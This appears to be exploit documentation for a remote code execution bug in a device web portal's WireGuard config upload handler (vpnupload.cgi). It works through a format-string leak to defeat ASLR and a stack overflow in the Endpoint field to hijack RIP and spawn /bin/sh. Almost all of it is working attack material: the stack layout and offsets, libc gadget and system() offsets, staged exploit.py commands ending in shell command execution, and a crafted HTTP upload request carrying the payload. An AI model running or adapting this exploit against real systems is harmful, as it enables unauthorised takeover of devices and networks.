pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2);    // user-controlled format string

__isoc23_sscanf(__s, "PrivateKey = %s",           local_ac4);   // 300B
__isoc23_sscanf(__s, "Endpoint = %s",             local_164);   // 300B
// 8 fields total; only DNS has a length limit

Step 1  Format string %x   →  Leak stack memory, recover libc base
Step 2  Endpoint overflow   →  Overwrite saved RIP with one-gadget / system()
Step 3  execve("/bin/sh")   →  Shell as the web server user

Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   300B
  local_998  Address              rbp-0x998   300B
  local_86c  PublicKey            rbp-0x86c   300B
  local_740  ListenPort           rbp-0x740   300B
  local_4e8  PresharedKey         rbp-0x4e8   300B
  local_3bc  AllowedIPs           rbp-0x3bc   300B
  local_290  PersistentKeepalive  rbp-0x290   300B
  local_164  Endpoint             rbp-0x164   300B  ← target
  saved RBP                       rbp+0x000
  saved RIP                       rbp+0x008   ← 0x164 + 8 = 364 bytes away

one_gadget address 0x00007f1234567890 (little-endian):
  \x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
                                ^--- sscanf stops here
                                     but these bytes were already 0x00 → correct

uv add requests

uv run exploit.py <host:port> '<cookie>' --stage offset

[*] Detecting format string argument offset...
[+] Offset: 8  (echo: AAAA.41414141...)

uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8

[+] Stack dump (args 8..47):
    [  8]  0x0000000000000000
    [  9]  0x00007f8b2c3d4e5f  ← libc candidate
    ...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
    Subtract the known offset of whichever symbol this is:
    libc_base = 0x7f8b2c3d4e5f - <symbol_offset>

readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f

# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000

# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000

uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'

# system() offset
readelf -s libc.so.6 | grep -w system

# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'

# one_gadget offsets
one_gadget libc.so.6    # gem install one_gadget

LIBC_SYSTEM      = 0x055410
LIBC_BINSH       = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]

POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND

--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"

dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"

[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--

AAAA_feebd19f_0000012b_0000007d_00000002